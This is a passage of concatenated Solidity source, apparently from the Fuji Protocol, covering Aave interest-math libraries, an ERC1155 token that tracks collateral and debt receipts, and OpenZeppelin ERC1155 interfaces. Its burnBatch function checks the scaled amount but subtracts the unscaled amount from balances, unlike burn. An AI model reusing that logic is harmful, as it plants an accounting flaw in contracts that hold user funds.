AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
ITokenInterface tokenContract = ITokenInterface(_token);
(, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, address(this));
_amount = _amount == uint256(-1) ? variableDebt : _amount;
if (isEth) _convertEthToWeth(isEth, tokenContract, _amount);
tokenContract.approve(address(aave), _amount);
aave.repay(_token, _amount, 2, address(this));
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { WadRayMath } from "./WadRayMath.sol";
library MathUtils {
using SafeMath for uint256;
using WadRayMath for uint256;
/// @dev Ignoring leap years
uint256 internal constant _SECONDS_PER_YEAR = 365 days;
/**
* @dev Function to calculate the interest accumulated using a linear interest rate formula
* @param rate The interest rate, in ray
* @param lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate linearly accumulated during the timeDelta, in ray
**/
function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp)
internal
view
returns (uint256)
{
//solhint-disable-next-line
uint256 timeDifference = block.timestamp.sub(uint256(lastUpdateTimestamp));
return (rate.mul(timeDifference) / _SECONDS_PER_YEAR).add(WadRayMath.ray());
}
/**
* @dev Function to calculate the interest using a compounded interest rate formula
* To avoid expensive exponentiation, the calculation is performed using a binomial approximation:
*
* (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3...
*
* The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions
* The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods
*
* @param rate The interest rate, in ray
* @param lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate compounded during the timeDelta, in ray
**/
function calculateCompoundedInterest(
uint256 rate,
uint40 lastUpdateTimestamp,
uint256 currentTimestamp
) internal pure returns (uint256) {
//solhint-disable-next-line
uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp));
if (exp == 0) {
return WadRayMath.ray();
}
uint256 expMinusOne = exp - 1;
uint256 expMinusTwo = exp > 2 ? exp - 2 : 0;
uint256 ratePerSecond = rate / _SECONDS_PER_YEAR;
uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond);
uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond);
uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2;
uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6;
return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm);
}
/**
* @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp
* @param rate The interest rate (in ray)
* @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated
**/
function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp)
internal
view
returns (uint256)
{
//solhint-disable-next-line
return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import { Errors } from "./Errors.sol";
/**
* @title WadRayMath library
* @author Aave
* @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits)
**/
library WadRayMath {
uint256 internal constant _WAD = 1e18;
uint256 internal constant _HALF_WAD = _WAD / 2;
uint256 internal constant _RAY = 1e27;
uint256 internal constant _HALF_RAY = _RAY / 2;
uint256 internal constant _WAD_RAY_RATIO = 1e9;
/**
* @return One ray, 1e27
**/
function ray() internal pure returns (uint256) {
return _RAY;
}
/**
* @return One wad, 1e18
**/
function wad() internal pure returns (uint256) {
return _WAD;
}
/**
* @return Half ray, 1e27/2
**/
function halfRay() internal pure returns (uint256) {
return _HALF_RAY;
}
/**
* @return Half ray, 1e18/2
**/
function halfWad() internal pure returns (uint256) {
return _HALF_WAD;
}
/**
* @dev Multiplies two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a*b, in wad
**/
function wadMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - _HALF_WAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + _HALF_WAD) / _WAD;
}
/**
* @dev Divides two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a/b, in wad
**/
function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / _WAD, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * _WAD + halfB) / b;
}
/**
* @dev Multiplies two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a*b, in ray
**/
function rayMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - _HALF_RAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + _HALF_RAY) / _RAY;
}
/**
* @dev Divides two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a/b, in ray
**/
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / _RAY, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * _RAY + halfB) / b;
}
/**
* @dev Casts ray down to wad
* @param a Ray
* @return a casted to wad, rounded half up to the nearest wad
**/
function rayToWad(uint256 a) internal pure returns (uint256) {
uint256 halfRatio = _WAD_RAY_RATIO / 2;
uint256 result = halfRatio + a;
require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW);
return result / _WAD_RAY_RATIO;
}
/**
* @dev Converts wad up to ray
* @param a Wad
* @return a converted in ray
**/
function wadToRay(uint256 a) internal pure returns (uint256) {
uint256 result = a * _WAD_RAY_RATIO;
require(result / _WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW);
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { IFujiERC1155 } from "./IFujiERC1155.sol";
import { FujiBaseERC1155 } from "./FujiBaseERC1155.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { WadRayMath } from "../Libraries/WadRayMath.sol";
import { MathUtils } from "../Libraries/MathUtils.sol";
import { Errors } from "../Libraries/Errors.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
contract F1155Manager is Ownable {
using Address for address;
// Controls for Mint-Burn Operations
mapping(address => bool) public addrPermit;
modifier onlyPermit() {
require(addrPermit[_msgSender()] || msg.sender == owner(), Errors.VL_NOT_AUTHORIZED);
_;
}
function setPermit(address _address, bool _permit) public onlyOwner {
require((_address).isContract(), Errors.VL_NOT_A_CONTRACT);
addrPermit[_address] = _permit;
}
}
contract FujiERC1155 is IFujiERC1155, FujiBaseERC1155, F1155Manager {
using WadRayMath for uint256;
//FujiERC1155 Asset ID Mapping
//AssetType => asset reference address => ERC1155 Asset ID
mapping(AssetType => mapping(address => uint256)) public assetIDs;
//Control mapping that returns the AssetType of an AssetID
mapping(uint256 => AssetType) public assetIDtype;
uint64 public override qtyOfManagedAssets;
//Asset ID Liquidity Index mapping
//AssetId => Liquidity index for asset ID
mapping(uint256 => uint256) public indexes;
// Optimizer Fee expressed in Ray, where 1 ray = 100% APR
//uint256 public optimizerFee;
//uint256 public lastUpdateTimestamp;
//uint256 public fujiIndex;
/// @dev Ignoring leap years
//uint256 internal constant SECONDS_PER_YEAR = 365 days;
constructor() public {
//fujiIndex = WadRayMath.ray();
//optimizerFee = 1e24;
}
/**
* @dev Updates Index of AssetID
* @param _assetID: ERC1155 ID of the asset which state will be updated.
* @param newBalance: Amount
**/
function updateState(uint256 _assetID, uint256 newBalance) external override onlyPermit {
uint256 total = totalSupply(_assetID);
if (newBalance > 0 && total > 0 && newBalance > total) {
uint256 diff = newBalance.sub(total);
uint256 amountToIndexRatio = (diff.wadToRay()).rayDiv(total.wadToRay());
uint256 result = amountToIndexRatio.add(WadRayMath.ray());
result = result.rayMul(indexes[_assetID]);
require(result <= type(uint128).max, Errors.VL_INDEX_OVERFLOW);
indexes[_assetID] = uint128(result);
// TODO: calculate interest rate for a fujiOptimizer Fee.
/*
if(lastUpdateTimestamp==0){
lastUpdateTimestamp = block.timestamp;
}
uint256 accrued = _calculateCompoundedInterest(
optimizerFee,
lastUpdateTimestamp,
block.timestamp
).rayMul(fujiIndex);
fujiIndex = accrued;
lastUpdateTimestamp = block.timestamp;
*/
}
}
/**
* @dev Returns the total supply of Asset_ID with accrued interest.
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function totalSupply(uint256 _assetID) public view virtual override returns (uint256) {
// TODO: include interest accrued by Fuji OptimizerFee
return super.totalSupply(_assetID).rayMul(indexes[_assetID]);
}
/**
* @dev Returns the scaled total supply of the token ID. Represents sum(token ID Principal /index)
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function scaledTotalSupply(uint256 _assetID) public view virtual returns (uint256) {
return super.totalSupply(_assetID);
}
/**
* @dev Returns the principal + accrued interest balance of the user
* @param _account: address of the User
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function balanceOf(address _account, uint256 _assetID)
public
view
override(FujiBaseERC1155, IFujiERC1155)
returns (uint256)
{
uint256 scaledBalance = super.balanceOf(_account, _assetID);
if (scaledBalance == 0) {
return 0;
}
// TODO: include interest accrued by Fuji OptimizerFee
return scaledBalance.rayMul(indexes[_assetID]);
}
/**
* @dev Returns the balance of User, split into owed amounts to BaseProtocol and FujiProtocol
* @param _account: address of the User
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
/*
function splitBalanceOf(
address _account,
uint256 _assetID
) public view override returns (uint256,uint256) {
uint256 scaledBalance = super.balanceOf(_account, _assetID);
if (scaledBalance == 0) {
return (0,0);
} else {
TO DO COMPUTATION
return (baseprotocol, fuji);
}
}
*/
/**
* @dev Returns Scaled Balance of the user (e.g. balance/index)
* @param _account: address of the User
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function scaledBalanceOf(address _account, uint256 _assetID)
public
view
virtual
returns (uint256)
{
return super.balanceOf(_account, _assetID);
}
/**
* @dev Returns the sum of balance of the user for an AssetType.
* This function is used for when AssetType have units of account of the same value (e.g stablecoins)
* @param _account: address of the User
* @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset
**/
/*
function balanceOfBatchType(address _account, AssetType _type) external view override returns (uint256 total) {
uint256[] memory IDs = engagedIDsOf(_account, _type);
for(uint i; i < IDs.length; i++ ){
total = total.add(balanceOf(_account, IDs[i]));
}
}
*/
/**
* @dev Mints tokens for Collateral and Debt receipts for the Fuji Protocol
* Emits a {TransferSingle} event.
* Requirements:
* - `_account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
* - `_amount` should be in WAD
*/
function mint(
address _account,
uint256 _id,
uint256 _amount,
bytes memory _data
) external override onlyPermit {
require(_account != address(0), Errors.VL_ZERO_ADDR_1155);
address operator = _msgSender();
uint256 accountBalance = _balances[_id][_account];
uint256 assetTotalBalance = _totalSupply[_id];
uint256 amountScaled = _amount.rayDiv(indexes[_id]);
require(amountScaled != 0, Errors.VL_INVALID_MINT_AMOUNT);
_balances[_id][_account] = accountBalance.add(amountScaled);
_totalSupply[_id] = assetTotalBalance.add(amountScaled);
emit TransferSingle(operator, address(0), _account, _id, _amount);
_doSafeTransferAcceptanceCheck(operator, address(0), _account, _id, _amount, _data);
}
/**
* @dev [Batched] version of {mint}.
* Requirements:
* - `_ids` and `_amounts` must have the same length.
* - If `_to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function mintBatch(
address _to,
uint256[] memory _ids,
uint256[] memory _amounts,
bytes memory _data
) external onlyPermit {
require(_to != address(0), Errors.VL_ZERO_ADDR_1155);
require(_ids.length == _amounts.length, Errors.VL_INPUT_ERROR);
address operator = _msgSender();
uint256 accountBalance;
uint256 assetTotalBalance;
uint256 amountScaled;
for (uint256 i = 0; i < _ids.length; i++) {
accountBalance = _balances[_ids[i]][_to];
assetTotalBalance = _totalSupply[_ids[i]];
amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]);
require(amountScaled != 0, Errors.VL_INVALID_MINT_AMOUNT);
_balances[_ids[i]][_to] = accountBalance.add(amountScaled);
_totalSupply[_ids[i]] = assetTotalBalance.add(amountScaled);
}
emit TransferBatch(operator, address(0), _to, _ids, _amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), _to, _ids, _amounts, _data);
}
/**
* @dev Destroys `_amount` receipt tokens of token type `_id` from `account` for the Fuji Protocol
* Requirements:
* - `account` cannot be the zero address.
* - `account` must have at least `_amount` tokens of token type `_id`.
* - `_amount` should be in WAD
*/
function burn(
address _account,
uint256 _id,
uint256 _amount
) external override onlyPermit {
require(_account != address(0), Errors.VL_ZERO_ADDR_1155);
address operator = _msgSender();
uint256 accountBalance = _balances[_id][_account];
uint256 assetTotalBalance = _totalSupply[_id];
uint256 amountScaled = _amount.rayDiv(indexes[_id]);
require(amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT);
_balances[_id][_account] = accountBalance.sub(amountScaled);
_totalSupply[_id] = assetTotalBalance.sub(amountScaled);
emit TransferSingle(operator, _account, address(0), _id, _amount);
}
/**
* @dev [Batched] version of {burn}.
* Requirements:
* - `_ids` and `_amounts` must have the same length.
*/
function burnBatch(
address _account,
uint256[] memory _ids,
uint256[] memory _amounts
) external onlyPermit {
require(_account != address(0), Errors.VL_ZERO_ADDR_1155);
require(_ids.length == _amounts.length, Errors.VL_INPUT_ERROR);
address operator = _msgSender();
uint256 accountBalance;
uint256 assetTotalBalance;
uint256 amountScaled;
for (uint256 i = 0; i < _ids.length; i++) {
uint256 amount = _amounts[i];
accountBalance = _balances[_ids[i]][_account];
assetTotalBalance = _totalSupply[_ids[i]];
amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]);
require(amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT);
_balances[_ids[i]][_account] = accountBalance.sub(amount);
_totalSupply[_ids[i]] = assetTotalBalance.sub(amount);
}
emit TransferBatch(operator, _account, address(0), _ids, _amounts);
}
//Getter Functions
/**
* @dev Getter Function for the Asset ID locally managed
* @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset
* @param _addr: Reference Address of the Asset
*/
function getAssetID(AssetType _type, address _addr) external view override returns (uint256 id) {
id = assetIDs[_type][_addr];
require(id <= qtyOfManagedAssets, Errors.VL_INVALID_ASSETID_1155);
}
//Setter Functions
/**
* @dev Sets the FujiProtocol Fee to be charged
* @param _fee; Fee in Ray(1e27) to charge users for optimizerFee (1 ray = 100% APR)
*/
/*
function setoptimizerFee(uint256 _fee) public onlyOwner {
require(_fee >= WadRayMath.ray(), Errors.VL_OPTIMIZER_FEE_SMALL);
optimizerFee = _fee;
}
*/
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
*/
function setURI(string memory _newUri) public onlyOwner {
_uri = _newUri;
}
/**
* @dev Adds and initializes liquidity index of a new asset in FujiERC1155
* @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset
* @param _addr: Reference Address of the Asset
*/
function addInitializeAsset(AssetType _type, address _addr)
external
override
onlyPermit
returns (uint64)
{
require(assetIDs[_type][_addr] == 0, Errors.VL_ASSET_EXISTS);
assetIDs[_type][_addr] = qtyOfManagedAssets;
assetIDtype[qtyOfManagedAssets] = _type;
//Initialize the liquidity Index
indexes[qtyOfManagedAssets] = WadRayMath.ray();
qtyOfManagedAssets++;
return qtyOfManagedAssets - 1;
}
/**
* @dev Function to calculate the interest using a compounded interest rate formula
* To avoid expensive exponentiation, the calculation is performed using a binomial approximation:
*
* (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3...
*
* The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions
* The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods
*
* @param _rate The interest rate, in ray
* @param _lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate compounded during the timeDelta, in ray
**/
/*
function _calculateCompoundedInterest(
uint256 _rate,
uint256 _lastUpdateTimestamp,
uint256 currentTimestamp
) internal pure returns (uint256) {
//solium-disable-next-line
uint256 exp = currentTimestamp.sub(uint256(_lastUpdateTimestamp));
if (exp == 0) {
return WadRayMath.ray();
}
uint256 expMinusOne = exp - 1;
uint256 expMinusTwo = exp > 2 ? exp - 2 : 0;
uint256 ratePerSecond = _rate / SECONDS_PER_YEAR;
uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond);
uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond);
uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2;
uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6;
return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm);
}
*/
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { IERC1155 } from "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import { IERC1155Receiver } from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import { IERC1155MetadataURI } from "@openzeppelin/contracts/token/ERC1155/IERC1155MetadataURI.sol";
import { ERC165 } from "@openzeppelin/contracts/introspection/ERC165.sol";
import { IERC165 } from "@openzeppelin/contracts/introspection/IERC165.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { Context } from "@openzeppelin/contracts/utils/Context.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Errors } from "../Libraries/Errors.sol";
/**
*
* @dev Implementation of the Base ERC1155 multi-token standard functions
* for Fuji Protocol control of User collaterals and borrow debt positions.
* Originally based on Openzeppelin
*
*/
contract FujiBaseERC1155 is IERC1155, ERC165, Context {
using Address for address;
using SafeMath for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) internal _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) internal _operatorApprovals;
// Mapping from token ID to totalSupply
mapping(uint256 => uint256) internal _totalSupply;
//Fuji ERC1155 Transfer Control
bool public transfersActive;
modifier isTransferActive() {
require(transfersActive, Errors.VL_NOT_AUTHORIZED);
_;
}
//URI for all token types by relying on ID substitution
//https://token.fujiDao.org/{id}.json
string internal _uri;
/**
* @return The total supply of a token id
**/
function totalSupply(uint256 id) public view virtual returns (uint256) {
return _totalSupply[id];
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
* Requirements:
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), Errors.VL_ZERO_ADDR_1155);
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
* Requirements:
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, Errors.VL_INPUT_ERROR);
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, Errors.VL_INPUT_ERROR);
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override isTransferActive {
require(to != address(0), Errors.VL_ZERO_ADDR_1155);
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
Errors.VL_MISSING_ERC1155_APPROVAL
);
address operator = _msgSender();
_beforeTokenTransfer(
operator,
from,
to,
_asSingletonArray(id),
_asSingletonArray(amount),
data
);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, Errors.VL_NO_ERC1155_BALANCE);
_balances[id][from] = fromBalance.sub(amount);
_balances[id][to] = uint256(_balances[id][to]).add(amount);
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override isTransferActive {
require(ids.length == amounts.length, Errors.VL_INPUT_ERROR);
require(to != address(0), Errors.VL_ZERO_ADDR_1155);
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
Errors.VL_MISSING_ERC1155_APPROVAL
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, Errors.VL_NO_ERC1155_BALANCE);
_balances[id][from] = fromBalance.sub(amount);
_balances[id][to] = uint256(_balances[id][to]).add(amount);
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert(Errors.VL_RECEIVER_REJECT_1155);
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert(Errors.VL_RECEIVER_CONTRACT_NON_1155);
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert(Errors.VL_RECEIVER_REJECT_1155);
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert(Errors.VL_RECEIVER_CONTRACT_NON_1155);
}
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
